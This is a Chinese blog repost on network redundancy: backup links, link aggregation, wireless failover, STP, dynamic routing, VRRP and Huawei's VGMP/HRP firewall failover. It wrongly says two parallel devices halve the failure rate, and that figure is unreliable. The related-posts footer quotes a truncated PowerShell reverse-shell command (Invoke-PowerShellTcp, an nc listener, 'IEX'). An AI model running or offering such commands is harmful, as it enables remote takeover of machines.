网络中冗余备份

冗余备份的重要性

如今社会,网络是各个产业的新的血脉,网络的稳定性至关重要,一旦网络出现故障,导致断网、延迟丢包等很可能会导致生产作业停滞,造成较经济损失,为此冗余备份至关重要,从链路和节点我总结出了几种冗余备份方式。

  • 二层设备使用到STP类的协议、链路聚合。

  • 三层设备使用动态路由、VRRP、VGMP(华为防火墙专用)。

链路备份方法

设备与设备之间的链路部分,是非常容易出现故障的,比如光纤被施工队挖断了、光收发损坏、水晶头老化等等问题,都会导致网络断路,从而”收获投诉”。可以可以通过一些手段去解决。

有线链路备份

所以在一般的网络设计中,会敷设多条网络的链路,比如比较重要的汇聚点之间设备敷设两条光纤,在某条光纤出现链路故障时候可以进行手动的切换(手动接线)。当然可以通过设备,如果是二层交换机设备,可以配合链路聚合实现负载均衡和带宽叠加。

可以分为 物理层+数据链路层两种情况。

方法

场景

举措

备份线

交换机/路由器

设置多条链路,某条链路故障时候可以手动更换到新的链路

备份线后,链路聚合

交换机

设置多条链路,链路互相连接到同一个设备,设置链路聚合绑定(注意开启STP类的协议)

图1.两台交换机之间的链路聚合

无线链路备份

  • 无线冗余和有线的” 交换机/路由器 终端设备“情况类似,基本上是出现在同一个层面(物理层上),也就是直接针对于接入层,终端设备接入网络。

  • 随着无线技术的发展,虽然稳定和带宽还是和相比有线还是不足,在特殊常见下终端接入到内网的情况(不方便布线、使用终端需要移动等)也有越来越多的应用。

  • 无线在我们生活非常的常见,比如手机开启流量和WLAN 也是一种无线链路冗余,在WLAN信号不佳的情况下,切换至流量可以保证网络可以正常的使用。

  • 无线相关组成就比较多了,我遇到过使用,同时接入多条无线网络,在单条无线信号网络不佳时候可以提供合理的切换,波导管天线网桥+全向的无线网桥。

常见的无线网络模式

举措

私网基站+远端的组合

  • 多基站:基站可以为多台远端工作,对于接入设备的远端可设置多台邻居基站以备在当前基站信号差而不能漫游切换
  • 基站与远端天线设置不同的方位或者设置收发不同的频率等,来避免某条无线链路造成不稳定,从而达到冗余的目的

WLAN

  • 不同的WLAN AP设备接入
  • 连接不同的频率WLAN(2.4GHz保障接入距离和5GHz保障近距离传输带宽)
  • 连接同频率不同信道WLAN(比如2.4GHz的信道1和信道6,避免信道之间的干扰)

运营商网络(5G、4G)

  • 从覆盖率上来说,运营商的无线覆盖率 最高,可以弱化天线的作用,不用考虑基站的远端的走线问题
  • 配合VPN软件也可以实现公网私网通信,但是需要额外支付运营商的物联网套餐资费

  • 一般情况下,无线冗余可以自由组合,比如我多个远端+基站的冗余,或者可以用运营商5G。

无线+有线链路备份

大部分情况下无线和有线使用场景不同。一般情况下,经常会相互的结合起来使用。比如多AP作为接入通信到核心网络的AC之间的链路就可以多加设备、链路了。

设备备份方法

网络中的节点也可能出现问题,比如交换机、路由器出现故障,遭受遭受雷击、进水等无法正常工作,冗余链路也不可以保证网络通信。节点的冗余通常也会设置多条有线链路。

设备冗余涉及到多台设备,如果说一个设备的故障率是0.1%,那么在中间设置2台设备并联,即使是某台设备故障任然有另一台设备可以保证网络通信,这个这条故障率就可以降低为0.05%。

  • 对于二层设备,设置多台交换机或者使用交换机堆叠的技术,再配置STP类的协议(比如STP生成树协议、MSTP多生成树、RSTP快速生成树协议),是最常见的方法。
  • 对于三层设备,可以设置动态路由(OSPF、IS-IS、RIP等)。

情况

举措

交换机冗余

布置多台交换机(或者交换机堆叠),配置好stp类的协议当某台交换机出现故障时,另一台交换机也可以保证网络通信

路由器冗余

布置多台路由器,在配置好动态设置多条链路,链路相互连接到设备,设置动态路由由路由协议决定

图2.LSW3与LSW4并联在LSW1与LSW2之间

但是缺点嘛,就是设备也不便宜(吐槽某些单位想让驴跑又不让驴吃草),钱花在刀刃上,所以使用在汇聚或者核心是比较稳妥的,接入还是用链路备份的方法吧。

虚拟化冗余方法

常见的我们将多台物理设备,虚拟成为一台设备,对于其他设备来看其具有唯一的IP,可以适用于更多的网络场景,通常用在网关中(因为对于终端设备来说,网关是唯一的)。

VRRP(虚拟路由器冗余协议)

是我们最常用的协议之一。

  • 只有一种报文:Advertisement报文,目的IP组播224.0.0.18,目的MAC为0100:5e00:0012,协议号112

VRRP由两台路由器设备组成,通过优先级(Priority)选举出主和备。

  • 主路由(Master):负责VRRP系统中全部的路转发工作,定期(默认为1s)发送HELLO通告报文备用路由。
  • 备用路由(Backup):接收HELLO通告报文,当Master路由器出现故障时,能够代替Master路由器工作的路由器。
  • VIP:即Virtual IP, 虚拟的IP地址(整个系统对外IP的),vip会配置主路由器的指定端口网卡上,当主路由发送切换后,vip也会变更在新主路由器的指定端口上。

VGMP (引用)

VGMP(VRRP Group Management Protocol)协议是华为公司的私有协议。

主要是用于防火墙的冗余备份中,VGMP协议中定义了VGMP组,FW基于VGMP组实现设备主备状态管理。

因为防火墙通过会话表来工作,当会话表缺少,可以会造成业务丢失,而VGMP可以保证报文来回路径通过同一台防火墙。当主防火墙出现故障时,所有流量都将切换到备防火墙。为了实现主用设备出现故障时能由备用设备平滑地接替工作,需要在主、备用设备之间备份关键配置命令和会话表状态等关键信息。

HRP (引用)

HRP(Huawei Redundancy Protocol)华为冗余协议,用来将主防火墙关键配置和连接状态等数据向备份防火墙上同步。

当主防火墙出现故障时,所有流量都将切换到备防火墙。

因为USG防火墙是状态防火墙,如果备防火墙上没有原来主防火墙上的会话表等连接状态数据,则切换到备防火墙的流量将无法通过防火墙,造成现有的连接中断,此时用户必须重新发起连接。

HRP模块提供了基础的数据备份机制和传输功能。

Original: https://www.cnblogs.com/alittlemc/p/16748687.html
Author: alittlemc
Title: 网络中冗余备份

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578135/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • typesafe_cb

    callback 回调函数 什么是callback function 如图(来自维基百科),回调函数提供了一种服务,可以由用户决定使用怎么样的服务(登记回调函数)。回调函数机制,提…

    Linux 2023年6月8日
    0102
  • Linux-系统启动与MBR扇区修复

    1.系统启动过程 1.1 MBR扇区 1.2 MBR扇区的备份与还原 1.3 修复MBR 1.3.1 dd备份MBR信息 1.3.2 光驱启动修复 1.4 grub故障修复 1.系…

    Linux 2023年5月27日
    0119
  • Kubernetes&Docker集群部署

    集群环境搭建 搭建kubernetes的集群环境 环境规划 集群类型 kubernetes集群大体上分为两类: 一主多从和 多主多从。 一主多从:一台Master节点和多台Node…

    Linux 2023年6月13日
    075
  • JuiceFS 在多云存储架构中的应用| 深势科技分享

    2020 年末,谷歌旗下 DeepMind 研发的 AI 程序 AlphaFold2 在国际蛋白质结构预测竞赛上取得惊人的准确度,使得” AI 预测蛋白质结构&#822…

    Linux 2023年6月14日
    063
  • Mysql Date操作

    根据format字符串格式化date值。 下列修饰符可以被用在format字符串中: %W 星期名字(Sunday……Saturday) %D 有英语前缀的月份的日期(1s…

    Linux 2023年6月7日
    063
  • CentOS 压缩解压

    打包:将多个文件合成一个总的文件,这个总的文件通常称为 “归档”。 压缩:将一个大文件通过某些压缩算法变成一个小文件。 1.1、tar 压缩格式: tar …

    Linux 2023年6月8日
    085
  • Java基础系列–09_集合2

    昨天介绍了集合的主要架构体系,今天主要的目的是学习集合的迭代器的遍历和List的特有功能。 迭代器:概述: 由于多种集合的数据结构不同,所以存储方式不同,取出方式也不同。但是他们都…

    Linux 2023年6月7日
    073
  • Linux命令行如何实现sftp限速传输

    上周遇到一个需要在Linux命令行模式下进行sftp限速传输的场景(公司带宽占用限制) 百度后无果,问老江湖F哥也没办法(百度出的结果都是用lftp指令,内网环境无法安装) 我真的…

    Linux 2023年5月27日
    075
  • Get shell By Powershell

    Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX …

    Linux 2023年5月28日
    088
  • 这 BUG,绝了

    上周只上了三天班,但我也丝毫不敢懈怠,BUG 更是一个也没少写。 看着满屏幕的 ERROR,我陷入沉思。为什么我写的代如此烂,无法像大牛们写的那般优雅? 越想越自卑,越想越抑郁。我…

    Linux 2023年6月7日
    0101
  • 基本数据类型的长度

    32位机器和64位机器中int、char等数据类型所占字节长度对比。 在32位机器和64机器中int类型都占用4个字节。编译器可以根据自身硬件来选择合适的大小,但是需要满足约束:s…

    Linux 2023年6月13日
    089
  • 分享四款H5怀旧小游戏魔塔+伏魔记+三国霸业+寻仙纪

    前言 还记得中学时,用步步高学习机玩的魔塔、伏魔记、三国霸业吗?还记得3g网时,用Nokia或是杂牌机在3GQQ家园里玩的精武堂、纵横四海吗?没错,说的就是你! 那时的游戏很粗糙,…

    Linux 2023年6月7日
    0140
  • 自动升级shell

    make_version.sh ./make_version.sh 第一次提示”y/N” 表示接下来的操作是手动(y)还是自动(N); 自动(N)会为镜像自…

    Linux 2023年5月28日
    0100
  • list底层实现

    list和vector都是容器,只不过他们的存储结构不同,vector实际底层结构是顺序表,支持随机访问。list的底层结构带头双向链表,不支持随机访问。 但list的底层实现不同…

    Linux 2023年6月13日
    0102
  • oracle 触发器trigger(主键自增长)

    触发器我们也可以认为是存储过程,是一种特殊的存储过程。 存储过程:有输入参数和输出参数,定义之后需要调用 触发器:没有输入参数和输出参数,定义之后无需调用,在 适当的时候会自动执行…

    Linux 2023年6月7日
    085
  • Ansible—Inventory主机清单

    含义 清查;存货清单;财产目录;主机清单 1、增加主机组 官方链接 http://docs….

    Linux 2023年6月6日
    0102
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球